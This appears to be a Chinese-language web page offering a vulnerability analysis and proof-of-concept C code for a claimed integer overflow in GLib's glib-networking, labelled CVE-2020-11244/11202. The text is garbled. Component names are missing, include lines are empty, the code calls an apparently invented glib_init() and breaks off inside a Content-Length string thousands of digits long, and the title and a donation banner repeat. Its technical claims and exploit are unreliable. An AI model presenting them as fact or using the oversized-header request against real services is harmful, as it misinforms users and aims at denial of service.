GLib glib-networking 整数溢出漏洞 (CVE-2020-11244/11202) 分析与 POC

CVE-2020-11244, CVE-2020-11202 漏洞概述 该漏洞允许攻击者通过向 的 组件发送特制的 HTTP 请求，触发整数溢出，从而导致拒绝服务（DoS）或潜在代码执行。 关键细节： 受影响组件： 的 模块中的 和 。 触发条件：攻击者构造一个包含超大 值的 HTTP 响应头，导致内部整数溢出。 影响版本： 2.64.0 及更早版本（具体取决于发行版）。 CVSS 评分：7.5（高），表示严重性较高。 影响范围 操作系统：所有使用 的 Linux 发行版（如 Ubuntu、Debian、Fedora 等）。 应用程序：任何依赖 的网络应用，包括 GNOME 桌面环境、GTK+ 应用等。 网络服务：运行在 上的网络服务可能受到攻击。 修复方案 官方补丁 Ubuntu：已发布安全更新，升级到 2.64.1 或更高版本。 Debian：已发布安全更新，升级到 2.64.1 或更高版本。 Fedora：已发布安全更新，升级到 2.64.1 或更高版本。 临时缓解措施 禁用 ：如果不需要网络功能，可以禁用 模块。 限制网络请求：通过防火墙或代理服务器限制对 网络服务的访问。 POC 代码 ```c #include #include #include #include #include int main() { glib_init(); // 构造一个包含超大 Content-Length 值的 HTTP 响应头 char *response = "HTTP/1.1 200 OK\r\n" "Content-Length: 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

GLib glib-networking 整数溢出漏洞 (CVE-2020-11244/11202) 分析与 POC

目标达成感谢每一位支持者 — 我们达成了 100% 目标！